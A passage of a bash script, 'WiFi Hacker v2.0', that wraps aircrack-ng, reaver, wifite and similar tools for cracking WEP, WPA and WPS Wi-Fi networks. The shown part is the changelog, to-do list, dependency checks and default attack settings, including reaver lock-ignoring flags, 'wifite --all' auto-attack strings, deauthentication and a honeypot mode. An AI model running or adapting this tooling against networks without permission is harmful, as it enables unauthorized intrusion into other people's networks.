82 | # - Fixed Wifite auto arguments for all encryption types.
83 | # - Updated Misc Menu Text
84 | # - Added "aireplay-ng" and "packetforge-ng" to dependency check.
85 | # - Added terminal background colors and updated foreground text color selection.
86 | # - Added a "more" option that can be typed under WEP Attack Menu. This menu has "TCP Dump", "Generate ARP Packet", "Forge ARP Request", and "Replay ARP Request" options.
87 |
88 | # v1.4
89 | # - Updated WPS attack to use PixieDust as a default option after 10 second timeout if no selection is made.
90 | # - Added a manual interface name override option to "getWirelessInterfaces" function. Set manually to wlan0, wlan1, wlan2, etc. This will automatically display during normal execution and you may ignore it for defaults.
91 | # - Added a "refresh" flag that is set to hide override text on subsequent calls to "getWirelessInterfaces" function.
92 | # - Added "bannerSlim" function to use a "Title Only" banner for disclaimer and unreleased menus.
93 | # - Updated text for gathering target info on all the different encryption types.
94 | # - Updated sleep messages for WPS attacks.
95 | # - Fixed PixieDust option not setting correctly if nothing is selected at menu choice.
96 | # - Updated text for all banners. Changed the main title text and domain name.
97 | # - Fixed all the killProcess functions to now kill the process until it no longer shows up under process list.
98 | # - Added a force exit for aircrack-ng before cracking attempt. This attempts to fix the corrupt errors when scanning IVS and CAP files.
99 | # - Fixed previous Airodump and Aireplay windows not closing when launching a new dump session for WEP Attack Menu.
100 | # - Added "findCaptureFiles" function to list all available cap, ivs, csv, netxml files for cracking.
101 | # - Added terminal colors to a "setTerminalColors" function.
102 | # - Added "checkUpdate" and "getUpdate" functions to grab the newest shell script directly.
103 | # - Updated text on stats banner. Changed "Interface Name: " to "Interface: " to allow for longer ESSID names without flooding to the next line.
104 |
105 | # v1.3
106 | # - Added support for AirCrack Suite v1.2+ using the new wlanXmon format instead of monX.
107 | # - Fixed "wlanXmon" error in Kali Linux 2.x caused by new AirCrack Suite 1.2+. See "fixKaliTwoMonError" function for more info.
108 | # - Added a function to check the Linux version running.
109 | # - Removed Honeypot Mode from the banners. It has been relocated to the Advanced Menu.
110 | # - Added "$interfaceName" and "$interfaceMode" variables.
111 | # - Added interfaceName to the stats banner. This will display the current interface name (wlan0, mon0, wlan0mon, etc).
112 | # - Added interfaceMode to the main banner. Valid Interface Modes are 0=Managed / 1=Monitor Standard / 2=Monitor New / 3=Monitor Other / 4=Unknown
113 | # - Added "Open Interface Options" item to Extras Menu.
114 | # - Added "Interface Up", "Interface Down", "Interface Managed", and "Interface Monitor" to Extras Menu. The Up and Down functions affect the interface ONLY for monitor mode (mon0, mon1, wlan0mon, wlan1mon, etc) currently. Please use Enable/Disable Channel Hopping to bring up/down a managed interface (i.e. wlan0, wlan1, etc).
115 | # - Added support for all new Reaver arguments and options for Kali 2.x build.
116 | # - Added airodump-ng WPS scanning options to now show WPS connections without using wifite to show them.
117 | # - Removed the wifite window from being launched with standard WPS attack. Replaced by --wps flag in airodump-ng.
118 | # - Added "fixAirmonCompat" function to send the command to kill any processes that may interfere.
119 | # - Removed the "initAirmon" function that was inactive.
120 | # - Added the airmon-ng conflicting process fix to Extras Menu.
121 | # - Added "wlanXmon" interfaces for monitor mode termination. A better way of doing this will be done soon!
122 | # - Fixed not returning to Extras Menu from "Open Interfaces Menu".
123 | # - Added "isDebugMode" variable to show/hide certain areas that may need additional testing output. Disabled by default.
124 | # - Fixed default WEP dump scanning channel hopping during attack.
125 |
126 | # v1.2
127 | # - Fixed the top text of disclaimer banner from being cut off.
128 |
129 | # v1.1
130 | # - Now globally enforcing disconnection from any active network upon agreement of disclaimer to resolve "Channel Hopping" issues. This must be done for all attacks to work properly.
131 | # - Added "HoneyPot Mode" to main toolbar. The hotkey is "Z" to launch from anywhere in script. There is currently support for airbase-ng and wifi-honey.
132 | # - Fixed "Negative One Channel Error" occuring in airodump-ng on Kali Linux 1.0.6 and higher. This is fixed globally and should work on all platforms.
133 | # - Added "Start NetworkManager", "Stop NetworkManager", "Stop wpa_supplicant", "Stop wpa_cli", "Enable Channel Hopping", and "Disable Channel Hopping" to Extras menu.
134 | # - Enabled the Advanced Menu. Also enabled the hotkey "A" to launch it. Future releases will contain highly configurable settings for supported apps and modules.
135 | # - Added support for nmap and netcat, for use during post exploitation.
136 | # - Fixed some $bssid and $essid variable errors in WEP attacks.
137 | # - Fixed airodump window not closing if using load session hotkey during victim info, and then returning to the post monitor mode menu.
138 | # - Fixed a bug where the post monitor mode screen would still load if no encryption type was selected. If the encryption type is empty, it will now return to the main menu.
139 | # - Updated on-screen instructions for using the airdump windows and other terminal windows that are opened during target/victim setup.
140 | # - Fixed network connection not refreshing the correct status when returning to the main menu if the network status has changed while still on the menu.
141 | # - Added a second check to verify that no active network connection is present before launching an attack.
142 | # - Moved autoMode text towards the top of the post monitor mode initiation screen to be more easily visible to the user.
143 | # - Added support for post-exploitation attacks after a target has been compromised.
144 | # - Added support for "wifite". This is used for some of the newer automated attack modes as well as an alternate option to aircrack-suite if desired.
145 | # - Added Auto Attack Mode to the main menu. This option uses wifite to scan and attack any vulnerable network.
146 | # - Changed some text around on some items to be more clear and understandable.
147 | # - Added Auto modes for each attack type when selected. Once an encryption type is selected, you can type "autowep, autowps, autowpa, and autowpa2 respectively to automate the attack.
148 | # - Fixed a few $lastMenuID variables not properly set for menu navigation.
149 | # - Added a wifite window alongside the aircrack window when selecting WPS attacks, to help decipher which targets support WPS more easily.
150 |
151 | # v1.0
152 | # - Activated the disclaimer when launching the script to make sure everyone knows the rules ;)
153 | # - Added "checkRootStatus" to verify elevated privileges before launching main menu.
154 | # - Fixed a few typos throughout the script.
155 | # - Added Connection display to main menu. A status of "0" is disconnected and "1" is connected.
156 | # - Added connection status check before allowing an attack mode to be selected. This prevents trying to start an attack and being locked into a channel and other abnormalities.
157 | # - Added text display variables for connection status. They can be displayed as "None" or "Wifi", depending on if connection status is 0 or 1.
158 |
159 | # v0.9
160 | # - Removed the writeDCrackPy() function. This was used to write the Python script dcrack.py out to a file.
161 |
162 | # v0.8
163 | # - Added support for besside-ng. Used for cracking WPA/WPA2 passwords,and upload to cloud cracking,
164 | # - Fixed the aircrack window from closing after running dictionary attack.
165 | # - Added checkDependencies() function to check for all required files before loading main menu.
166 | # - Fixed the Navigation Bar from not showing up on the Help menu.
167 | # - Fixed the aircrack window from not closing when restarting WPA/WPA2 attacks.
168 | # - Fixed Help and Advanced menus not returning to the last page when trying to go back.
169 |
170 | # v0.7
171 | # - Fixed WEP aircrack errors with ESSID names that have spaces in them.
172 | # - Fixed Terminal Options not returning to previous menu properly.
173 | # - Cleaned up some old code that is no longer being used or referenced.
174 | # - Fixed reaver WPC files not getting copied correctly.
175 | # - Now copies all WPC files during reaver startup, and overwrites current WPC file after reaver session ends.
176 |
177 | # v0.6
178 | # - Added time and date stamp to all $encryptionType.sessions log files.
179 | # - The "Clean Capture Files" option now only removes files in the init directory, not sessions directory.
180 | # - Fixed bug not returning back to Extras menu after selected task has been completed.
181 | # - All created files will now be saved to the "/sessions/$encryptionType" directory by default.
182 | # - Added getCurrentDate() and getCurrentTime() functions to use with sessions and backups.
183 | # - Added Backup options to Extras menu. This creates a zip file with all saved sessions and capture files.
184 | # - Added "*.kismit.csv" and "*.kismit.netxml" files to "Cleanup Capture Files" menu under Extras.
185 | # - Changed all references from $currentTask to $lastMenuID because of menu navigation issues.
186 | # - Added a new variable called $lastMenuID for (hopefully) proper navigation between menus.
187 | # - Moved code for checking MAC Spoof Status into a checkSpoofStatus() function. Can now be used globally.
188 | # - Fixed a typo in Load Session function.
189 | # - Updated sessions save folder and organized by encryption type.
190 | # - Added saving reaver session WPC files to default sessions folder.
191 |
192 | # v0.5
193 | # - Fixed WEP attack. It wasn't being properly redirected after the last v0.4 update.
194 | # - All attack modes re-tested and seem to be working fine.
195 | # - Added a check for empty encryption type to prevent doing certain tasks if no type has yet been selected.
196 | # - Updated Save and Load session menu. It does not work properly from some menus. Still in testing.
197 |
198 | # v0.4
199 | # - Moved all initialization functions and variables to initMain(). This is only for "code cleanliness".
200 | # - Updated aircrack and airodump redirection based on the encryption type of the attack.
201 | # - Added "Clean Session Files" to Extras menu. Be careful with this and be sure to keep backups.
202 | # - Fixed not being able to return to attacks menu from Save and Load session for WEP attacks.
203 | # - Added a $currentTask variable to change dynamically depending on what function is being executed.
204 | # - Moved aircrack windows for WPA and WPA2 attacks to external terminal windows.
205 | # - Fixed not being able to leave aircrack window while running WPA and WPA2 attacks.
206 |
207 | # v0.3
208 | # - Updated WPA and WPA2 attack modes. Both are fully working and can load custom wordlists.
209 | # - Added the ability to change terminals under Extras menu. Supports Gnome, Konsole, Xterm, and Custom.
210 | # - Fixed blank session files being written when no encryption type has yet been selected.
211 | # - Added a disclaimer that must be accepted before launching main menu (currently disabled).
212 | # - Fixed both WPA and WPA2 from not writing proper values to "$capturePath/$encryptionType/$encryptionType.sessions" log file.
213 | # - Fixed a bug in WPA/WPA2 that prevented returning to main menu or exiting from wordlist page.
214 | # - Updated some on-screen text when deauth station is running for WEP, WPA, and WPA2.
215 | # - Removed Auto mode from top banner, its now defaulted after choosing encryption type.
216 |
217 | # v0.2
218 | # - Fixed WEP and WPS (reaver) attacks. Both are fully working now!
219 | # - Each attack type writes to its own log file now ("$capturePath/$encryptionType/$encryptionType.sessions").
220 | # - Cleaned up some old migrated code from previous scripts.
221 |
222 | # v0.1
223 | # - Initial version. Combined other current wifi scripts into one.
224 |
225 |
226 | ############################################################################
227 | # VERSION HISTORY END ##################################################
228 | ############################################################################
229 |
230 |
231 |
232 |
233 |
234 | ############################################################################
235 | # TO DO LIST BEGIN #####################################################
236 | ############################################################################
237 |
238 |
239 | # Extend the width of the airodump windows when opening externally
240 | # Add change options on-the-fly for WPS and other attack modes
241 | # Add cowpatty support for WPA/WPA2 attacks
242 | # Set an "ok so far" temp variable to see if all dependencies are available
243 | # Set default $serverWPA veriable to some value other than blank
244 | # Add sniffing/wireshark support
245 | # Add support for airbase-ng
246 | # Create separate handshake file with an appropriate filename
247 | # Add "create wordlist" for phone numbers and possibly others. Add option for local
248 | # Add checks and copy files created by besside to appropriate directories
249 | # Add convert to .hccap support for ocl-hashcat and other compatible software
250 | # Get advanced mode working
251 | # Get help menu working
252 |
253 |
254 | # Post-Exploitation Attacks To Add (Probably Scrap 20160514)
255 |
256 | # driftnet
257 | # nmap
258 | # wifi-honey
259 |
260 |
261 | ############################################################################
262 | # TO DO LIST END #######################################################
263 | ############################################################################
264 |
265 |
266 |
267 |
268 |
269 | ############################################################################
270 | # INITIALIZATION OPTIONS BEGIN #########################################
271 | ############################################################################
272 |
273 |
274 | initMain(){
275 |
276 | #checkArgs
277 |
278 | checkLinuxVersion
279 |
280 | killAll
281 | #startNetworkManager
282 |
283 | getCurrentDate
284 | getCurrentTime
285 | getCurrentDateAndTime
286 |
287 | setDependencies
288 | checkDependencies
289 |
290 | resizeWindow
291 |
292 | setVariablesRequired
293 | setVariablesOptional
294 | setVariablesAdvanced
295 |
296 | setDefaults
297 | setDefaultsWEP
298 | setDefaultsWPA
299 | setDefaultsWPA2
300 | setDefaultsWPS
301 |
302 | setDefaultSession
303 |
304 | setTerminalColors
305 |
306 | # Optionally show dependencies before launch
307 | #showDependencies
308 |
309 | # Optionally Show Disclaimer Before Launch
310 | showDisclaimer
311 |
312 | # Optionally Show Unreleased Text Before Launch
313 | #isUnreleased
314 |
315 | # Load Main Menu
316 | menuMain
317 |
318 | }
319 |
320 | checkArgs(){
321 |
322 | case "$#" in
323 |
324 | "1")
325 | if [ -e $1 ];
326 | then
327 | echo "File $1 Exists"
328 | else
329 | echo "File $1 Does Not Exist"
330 | fi
331 | ;;
332 |
333 | esac
334 | }
335 |
336 | checkLinuxVersion(){
337 |
338 | # Set both default Kali values to ON and if blank, Kali is not present
339 | isKali=1
340 | isKaliTwo=1
341 |
342 | # Get Linux Build Info
343 | linuxVersion=$(lsb_release -a | grep Description | cut -f2 -d":")
344 |
345 | # Check against the Linux Version for the presence of Kali
346 | kali=$(echo "$linuxVersion" | grep Kali)
347 |
348 | # Check against the Linux Version for the presence of Kali 2.x
349 | kaliTwo=$(echo "$linuxVersion" | grep Kali | grep 2.)
350 |
351 | # Check For Kali Linux
352 | case "$kali" in
353 |
354 | "")
355 | isKali=0
356 | ;;
357 | esac
358 |
359 | # Check For Kali Linux 2.x
360 | # Uses Aircrack-ng v1.2 RC2+ (Monitor Mode Is Different)
361 | case "$kaliTwo" in
362 |
363 | "")
364 | isKaliTwo=0
365 | ;;
366 | esac
367 |
368 | #echo "Linux Version: $linuxVersion"
369 | #echo ""
370 | #echo "Is Kali?: $isKali"
371 | #echo ""
372 | #echo "Is Kali 2.x?: $isKaliTwo"
373 | #read pause
374 | }
375 |
376 |
377 | ############################################################################
378 | # INITIALIZATION OPTIONS END ###########################################
379 | ############################################################################
380 |
381 |
382 |
383 |
384 |
385 | ############################################################################
386 | # DEPENDENCY OPTIONS BEGIN #############################################
387 | ############################################################################
388 |
389 |
390 | setDependencies(){
391 |
392 | pathAircrack="/usr/bin/aircrack-ng"
393 | pathAireplay="/usr/sbin/aireplay-ng"
394 | pathAirodump="/usr/sbin/airodump-ng"
395 | pathBesside="/usr/sbin/besside-ng"
396 | pathCut="/usr/bin/cut"
397 | pathDate="/bin/date"
398 | pathGrep="/bin/grep"
399 | pathHead="/usr/bin/head"
400 | pathLink="/usr/bin/link"
401 | pathMacchanger="/usr/bin/macchanger"
402 | pathMkdir="/bin/mkdir"
403 | pathPacketforge="/usr/sbin/packetforge-ng"
404 | pathReaver="/usr/bin/reaver"
405 | pathRmdir="/bin/rmdir"
406 | pathSed="/bin/sed"
407 | pathSleep="/bin/sleep"
408 | pathTail="/usr/bin/tail"
409 | pathWash="/usr/bin/wash"
410 | pathWget="/usr/bin/wget"
411 |
412 | }
413 |
414 |
415 | checkDependencies(){
416 |
417 | #tempCounter=0
418 | #numberOfDependencies=0
419 |
420 | #tempPath=""
421 | #tempStatus=""
422 |
423 | # If counter is less than max dependencies, then build statuses
424 | #if [ $tempCounter -lt $numberOfDependencies ];
425 | # then
426 | # # Set Path Name
427 | # if [ -f $tempPath ];
428 | # then
429 | # # Set Status As Available
430 | # $tempStatus="OK"
431 | # else
432 | # # Set Status As Unavailable
433 | # $tempStatus="NA"
434 | # fi
435 | # else
436 | # #echo "Done With Dependencies"
437 | # #read pause
438 | #fi
439 |
440 | if [ -f $pathAircrack ];
441 | then
442 | statusPathAircrack="OK"
443 | else
444 | statusPathAircrack="NA"
445 | fi
446 |
447 | if [ -f $pathAirodump ];
448 | then
449 | statusPathAirodump="OK"
450 | else
451 | statusPathAirodump="NA"
452 | fi
453 |
454 | if [ -f $pathAireplay ];
455 | then
456 | statusPathAireplay="OK"
457 | else
458 | statusPathAireplay="NA"
459 | fi
460 |
461 | if [ -f $pathBesside ];
462 | then
463 | statusPathBesside="OK"
464 | else
465 | statusPathBesside="NA"
466 | fi
467 |
468 | if [ -f $pathCut ];
469 | then
470 | statusPathCut="OK"
471 | else
472 | statusPathCut="NA"
473 | fi
474 |
475 | if [ -f $pathDate ];
476 | then
477 | statusPathDate="OK"
478 | else
479 | statusPathDate="NA"
480 | fi
481 |
482 | if [ -f $pathGrep ];
483 | then
484 | statusPathGrep="OK"
485 | else
486 | statusPathGrep="NA"
487 | fi
488 |
489 | if [ -f $pathHead ];
490 | then
491 | statusPathHead="OK"
492 | else
493 | statusPathHead="NA"
494 | fi
495 |
496 | if [ -f $pathLink ];
497 | then
498 | statusPathLink="OK"
499 | else
500 | statusPathLink="NA"
501 | fi
502 |
503 | if [ -f $pathMacchanger ];
504 | then
505 | statusPathMacchanger="OK"
506 | else
507 | statusPathMacchanger="NA"
508 | fi
509 |
510 | if [ -f $pathMkdir ];
511 | then
512 | statusPathMkdir="OK"
513 | else
514 | statusPathMkdir="NA"
515 | fi
516 |
517 | if [ -f $pathPacketforge ];
518 | then
519 | statusPathPacketforge="OK"
520 | else
521 | statusPathPacketforge="NA"
522 | fi
523 |
524 | if [ -f $pathReaver ];
525 | then
526 | statusPathReaver="OK"
527 | else
528 | statusPathReaver="NA"
529 | fi
530 |
531 | if [ -f $pathRmdir ];
532 | then
533 | statusPathRmdir="OK"
534 | else
535 | statusPathRmdir="NA"
536 | fi
537 |
538 | if [ -f $pathSed ];
539 | then
540 | statusPathSed="OK"
541 | else
542 | statusPathSed="NA"
543 | fi
544 |
545 | if [ -f $pathSleep ];
546 | then
547 | statusPathSleep="OK"
548 | else
549 | statusPathSleep="NA"
550 | fi
551 |
552 | if [ -f $pathTail ];
553 | then
554 | statusPathTail="OK"
555 | else
556 | statusPathTail="NA"
557 | fi
558 |
559 | if [ -f $pathWash ];
560 | then
561 | statusPathWash="OK"
562 | else
563 | statusPathWash="NA"
564 | fi
565 |
566 | if [ -f $pathWget ];
567 | then
568 | statusPathWget="OK"
569 | else
570 | statusPathWget="NA"
571 | fi
572 |
573 | }
574 |
575 |
576 | downloadDependencies(){
577 |
578 | blank=""
579 |
580 | }
581 |
582 |
583 | showDependencies(){
584 |
585 | banner
586 | bannerStats
587 |
588 | echo ""
589 | echo "List of File Dependencies Needed"
590 | echo ""
591 | echo "$pathAircrack - Status: $statusPathAircrack"
592 | echo "$pathAireplay - Status: $statusPathAireplay"
593 | echo "$pathAirodump - Status: $statusPathAirodump"
594 | echo "$pathBesside - Status: $statusPathBesside"
595 | echo "$pathCut - Status: $statusPathCut"
596 | echo "$pathDate - Status: $statusPathDate"
597 | echo "$pathGrep - Status: $statusPathGrep"
598 | echo "$pathHead - Status: $statusPathHead"
599 | echo "$pathLink - Status: $statusPathLink"
600 | echo "$pathMacchanger - Status: $statusPathMacchanger"
601 | echo "$pathMkdir - Status: $statusPathMkdir"
602 | echo "$pathPacketforge - Status: $statusPathPacketforge"
603 | echo "$pathReaver - Status: $statusPathReaver"
604 | echo "$pathRmdir - Status: $statusPathRmdir"
605 | echo "$pathSed - Status: $statusPathSed"
606 | echo "$pathSleep - Status: $statusPathSleep"
607 | echo "$pathTail - Status: $statusPathTail"
608 | echo "$pathWash - Status: $statusPathWash"
609 | echo "$pathWget - Status: $statusPathWget"
610 | echo ""
611 | echo ""
612 |
613 | echo "Press ENTER to continue...."
614 |
615 | read pause
616 |
617 | }
618 |
619 |
620 | ############################################################################
621 | # DEPENDENCY OPTIONS END ###############################################
622 | ############################################################################
623 |
624 |
625 |
626 |
627 |
628 | ############################################################################
629 | # TERMINAL OPTIONS BEGIN ###############################################
630 | ############################################################################
631 |
632 |
633 | setWindowTitle(){
634 |
635 | currentTask="setWindowTitle"
636 |
637 | title='echo -ne "\033]0;WiFi Hacker v2.0\007"'
638 |
639 | $title
640 |
641 | }
642 |
643 |
644 | resizeWindow(){
645 |
646 | currentTask="resizeWindow"
647 |
648 | printf '\033[8;32;115t'
649 |
650 | }
651 |
652 |
653 | setTerminalColors(){
654 |
655 | currentTask="setTerminalColors"
656 |
657 | # Foreground Colors
658 | defaultFG=$(echo 'printf' '\033[39m')
659 |
660 | black=$(echo 'printf' '\033[30m')
661 | blue=$(echo 'printf' '\033[34m')
662 | cyan=$(echo 'printf' '\033[36m')
663 | darkGrey=$(echo 'printf' '\033[90m')
664 | green=$(echo 'printf' '\033[32m')
665 | lightBlue=$(echo 'printf' '\033[94m')
666 | lightCyan=$(echo 'printf' '\033[96m')
667 | lightGreen=$(echo 'printf' '\033[92m')
668 | lightGrey=$(echo 'printf' '\033[37m')
669 | lightMagenta=$(echo 'printf' '\033[95m')
670 | lightRed=$(echo 'printf' '\033[91m')
671 | lightYellow=$(echo 'printf' '\033[93m')
672 | magenta=$(echo 'printf' '\033[35m')
673 | red=$(echo 'printf' '\033[31m')
674 | white=$(echo 'printf' '\033[0m')
675 | whiteAlt=$(echo 'printf' '\033[97m')
676 | yellow=$(echo 'printf' '\033[33m')
677 |
678 | # Background Colors
679 | defaultBG=$(echo 'printf' '\033[49m')
680 |
681 | blackBG=$(echo 'printf' '\033[40m')
682 | blueBG=$(echo 'printf' '\033[44m')
683 | cyanBG=$(echo 'printf' '\033[46m')
684 | darkGreyBG=$(echo 'printf' '\033[100m')
685 | greenBG=$(echo 'printf' '\033[42m')
686 | lightBlueBG=$(echo 'printf' '\033[104m')
687 | lightCyanBG=$(echo 'printf' '\033[106m')
688 | lightGreenBG=$(echo 'printf' '\033[102m')
689 | lightGreyBG=$(echo 'printf' '\033[47m')
690 | lightMagentaBG=$(echo 'printf' '\033[105m')
691 | lightRedBG=$(echo 'printf' '\033[101m')
692 | lightYellowBG=$(echo 'printf' '\033[103m')
693 | magentaBG=$(echo 'printf' '\033[45m')
694 | redBG=$(echo 'printf' '\033[41m')
695 | whiteBG=$(echo 'printf' '\033[107m')
696 | yellowBG=$(echo 'printf' '\033[43m')
697 |
698 | }
699 |
700 |
701 | setTerminalTextEffects(){
702 |
703 | currentTask="setTerminalTextEffects"
704 |
705 | textBlink=$(echo -e "\e[5m")
706 | textBold=$(echo -e "\e[1m")
707 | textDim=$(echo -e "\e[2m")
708 | textHidden=$(echo -e "\e[8m")
709 | textInverted=$(echo -e "\e[7m")
710 | textUnderline=$(echo -e "\e[4m")
711 |
712 | }
713 |
714 |
715 | ############################################################################
716 | # TERMINAL OPTIONS END #################################################
717 | ############################################################################
718 |
719 |
720 |
721 |
722 |
723 | ############################################################################
724 | # DEFAULT VARIABLES BEGIN ##############################################
725 | ############################################################################
726 |
727 |
728 | setVariablesRequired(){
729 |
730 | currentTask="setVariablesRequired"
731 |
732 | versionBase="2.0"
733 | versionBaseClean="00"
734 |
735 | initPath="$PWD"
736 |
737 | isDebugMode="0"
738 | isDevBuild="0"
739 |
740 | # Update Stuff
741 | versionRemote="0.0"
742 | versionRemoteClean="00"
743 | versionRemoteTemp="0.0"
744 | newUpdateAvailable="0"
745 | updateMaster=https://raw.githubusercontent.com/esc0rtd3w/wifi-hacker/master/wifi-hacker.sh
746 | updateTemp="/tmp/update-check.tmp"
747 | updateChecked="0"
748 | skipUpdate="0"
749 | returnToUpdatePage="0"
750 |
751 | # Setting default update downloaded script value
752 | newVersionScript="0.0"
753 |
754 | # Check Gnome version for terminal options (added 20190205)
755 | gnomeVer=$(gnome-terminal --version | grep "3.")
756 |
757 | case "$gnomeVer" in
758 |
759 | # Kali 2018.4 GNOME Terminal 3.30.0 using VTE 0.54.1 +GNUTLS
760 | "")
761 | gnomeOptions="legacy"
762 | terminal="gnome-terminal -x"
763 | terminalGnome="gnome-terminal -x"
764 | terminalGnomeLegacy="gnome-terminal -x"
765 | ;;
766 |
767 | *)
768 | gnomeOptions="new"
769 | terminal="gnome-terminal --window --geometry=132x24 --"
770 | terminalGnome="gnome-terminal --window --geometry=132x24 --"
771 | terminalGnomeLegacy="gnome-terminal -x"
772 | ;;
773 |
774 | esac
775 |
776 | #echo "gnomeOptions: $gnomeOptions"
777 | #read pause
778 |
779 | terminalKonsole="konsole -e"
780 | terminalXterm="xterm -e"
781 |
782 | bin=""
783 |
784 | }
785 |
786 |
787 | setVariablesOptional(){
788 |
789 | currentTask="setVariablesOptional"
790 |
791 | blank=""
792 |
793 | }
794 |
795 |
796 | setVariablesAdvanced(){
797 |
798 | currentTask="setVariablesAdvanced"
799 |
800 | blank=""
801 |
802 | }
803 |
804 |
805 | setDefaults(){
806 |
807 | currentTask="setDefaults"
808 | startMonitorMode="airmon-ng start"
809 | stopMonitorMode="airmon-ng stop"
810 |
811 | getRandomMacAddress=""
812 | spoofStatus="0"
813 | resetSpoofStatus="0"
814 |
815 | encryptionType="empty"
816 | encryptionTypeText="Empty"
817 |
818 | ipStatus="0"
819 |
820 | interface="wlan0"
821 | #interfaceMonitor="mon0"
822 | interfaceMonitor="wlan0mon"
823 | interfaceName="wlan0"
824 | interfaceMode="0"
825 | interfaceNumber="0"
826 | interfaceNumberMax="99"
827 | interfacesFound="0"
828 | bssid=""
829 | essid=""
830 | channel=""
831 |
832 | noChannel="0"
833 |
834 | # This is used to return from backupCaptureFiles if invoked from backupCaptureFiles
835 | backupFromCaptureErase="0"
836 |
837 | # This is used to return from backupSessionFiles if invoked from backupSessionFiles
838 | backupFromSessionErase="0"
839 |
840 |
841 | # Default Attack Methods
842 | attackMethodWEP=""
843 | attackMethodWPS="reaver"
844 | attackMethodWPA=""
845 | attackMethodWPA2=""
846 |
847 |
848 | #Find Network Adapter Commands
849 | showAdapterPciAll=$(lspci | egrep -i 'network|ethernet')
850 | showAdapterUsbAll=$(lsusb | egrep -i '')
851 | showAdapterUsbAtheros=$(lsusb | egrep -i 'atheros|0cf3')
852 |
853 | # Atheros WiFi Adapters
854 | showAdapterUsbAtherosAR9271=$(lsusb | egrep -i 'AR9271' | cut -d ":" -f3)
855 |
856 | # Intel WiFi Adapters
857 | showAdapterUsbIntel6205=$(lspci | egrep -i 'Intel Corporation Centrino Advanced-N 6205' | cut -d ":" -f3)
858 |
859 | # Support For 10 Adapter Names
860 | adapterNameDefault="No Adapter Name Available"
861 | showAdapterOneName="$adapterNameDefault"
862 | showAdapterTwoName="$adapterNameDefault"
863 | showAdapterThreeName="$adapterNameDefault"
864 | showAdapterFourName="$adapterNameDefault"
865 | showAdapterFiveName="$adapterNameDefault"
866 | showAdapterSixName="$adapterNameDefault"
867 | showAdapterSevenName="$adapterNameDefault"
868 | showAdapterEightName="$adapterNameDefault"
869 | showAdapterNineName="$adapterNameDefault"
870 | showAdapterTenName="$adapterNameDefault"
871 |
872 | # Default Capture Lists Values
873 | listCap=0
874 | listIvs=0
875 | listXor=0
876 | listCsv=0
877 | listNetXml=0
878 |
879 | hotkeyInput=""
880 |
881 | apListType=""
882 |
883 | # Default Session Values
884 | sessionID="0"
885 |
886 | capturePath=$(echo "$PWD/sessions")
887 | capturePathWEP=$(echo "$PWD/sessions/wep")
888 | capturePathWPS=$(echo "$PWD/sessions/wps")
889 | capturePathWPA=$(echo "$PWD/sessions/wpa")
890 | capturePathWPA2=$(echo "$PWD/sessions/wpa2")
891 |
892 | # Default Current Directory Temp Path
893 | whTemp=$(echo "$PWD/temp")
894 |
895 | defaultScanOutputIVS="$initPath/apScan-01.ivs"
896 | defaultScanOutputXML="$initPath/apScan-01.kismet.netxml"
897 | defaultScanOutputTXT="$initPath/apScan-01.txt"
898 |
899 | }
900 |
901 |
902 | setDefaultsWEP(){
903 |
904 | currentTask="setDefaultsWEP"
905 |
906 | # aircrack-ng cracking mode WEP
907 | acMode="1"
908 |
909 | # aircrack-ng cracking mode WEP (WPA-PSK)
910 | #acMode="2"
911 |
912 | washFile="$whTemp/wash.txt"
913 | washChannel="1"
914 |
915 | }
916 |
917 |
918 | setDefaultsWPA(){
919 |
920 | currentTask="setDefaultsWPA"
921 |
922 | wordlist="/usr/share/wordlists/metasploit/password.lst"
923 |
924 | retryDeauth="0"
925 |
926 | serverWPA=""
927 |
928 | }
929 |
930 |
931 | setDefaultsWPA2(){
932 |
933 | currentTask="setDefaultsWPA2"
934 |
935 | }
936 |
937 |
938 | setDefaultsWPS(){
939 |
940 | currentTask="setDefaultsWPS"
941 |
942 | reaver="reaver"
943 |
944 | reaverSessionPath="etc/reaver"
945 | bssidCharOnly=""
946 |
947 | reaverInterfaceInput=""
948 | reaverBSSIDInput=""
949 |
950 | reaverChannelInput=""
951 | reaverESSIDInput=""
952 | reaverExecInput=""
953 | reaverMACInput=""
954 | reaverOutfileInput=""
955 | reaverSessionInput=""
956 |
957 | reaverDelayInput=""
958 | reaverFailWaitInput=""
959 | reaverM57TimeoutInput=""
960 | reaverMaxAttemptsInput=""
961 | reaverPinInput=""
962 | reaverTimeoutInput=""
963 |
964 | reaverDelay="--delay="
965 | reaverDHSmall="--dh-small"
966 | reaverEAPTerminate="--eap-terminate"
967 | reaverFailWait="--fail-wait="
968 | reaverIgnoreLocks="--ignore-locks"
969 | reaverM57Timeout="--m57-timeout="
970 | reaverMaxAttempts="--max-attempts="
971 | reaverNack="--nack"
972 | reaverNoAssociate="--no-associate"
973 | reaverNoNacks="--no-nacks"
974 | reaverPin="--pin="
975 | reaverRecurringDelay="--recurring-delay"
976 | reaverTimeout="--timeout="
977 | reaverWin7False="--win7"
978 |
979 | reaver5ghz="--5ghz"
980 | reaverAuto="--auto"
981 | reaverChannel="--channel="
982 | reaverDaemonize="--daemonize"
983 | reaverESSID="--essid="
984 | reaverExec="--exec="
985 | reaverFixed="--fixed"
986 | reaverHelp="--help"
987 | reaverMAC="--mac="
988 | reaverOutfile="--out-file="
989 | reaverQuiet="--quiet"
990 | reaverSession="--session="
991 | reaverVerbose="-v"
992 | reaverVerboseMore="-vv"
993 |
994 | # Updated Options
995 | reaverDaemonize="-D"
996 | reaverExhaustive="-X"
997 | reaverNoAutoPass="-Z"
998 | reaverP1Index="-1"
999 | reaverP2Index="-2"
1000 | reaverPixie="-K"
1001 | reaverPixieLoop="-P"
1002 | reaverGeneratePin="-W"
1003 |
1004 | reaverCurrentSessionFile=""
1005 |
1006 | # -K Argument Number (Default 1)
1007 | pixieNumber="1"
1008 |
1009 | # Check to see if Pixie Attack Failed
1010 | pixieFailed="0"
1011 |
1012 |
1013 | wifite="wifite"
1014 | wifiteAttackAll="wifite --all"
1015 | wifiteAttackWEP="wifite --all --wep"
1016 | wifiteAttackWPA="wifite --all --wpa"
1017 | wifiteAttackWPA2="wifite --all --wpa"
1018 | wifiteAttackWPS="wifite --all --wps"
1019 |
1020 | # Bully Options
1021 | #bully interface
1022 |
1023 | }
1024 |
1025 |
1026 | ############################################################################
1027 | # DEFAULT VARIABLES END ################################################
1028 | ############################################################################
1029 |
1030 |
1031 |
1032 |
1033 |
1034 | ############################################################################
1035 | # DISCLAIMER BEGIN #####################################################
1036 | ############################################################################
1037 |
1038 |
1039 | showDisclaimer(){
1040 |
1041 | currentTask="showDisclaimer"
1042 | lastMenuID="showDisclaimer"
1043 |
1044 | sessionCreatePaths
1045 | sessionRemoveEmpty
1046 |
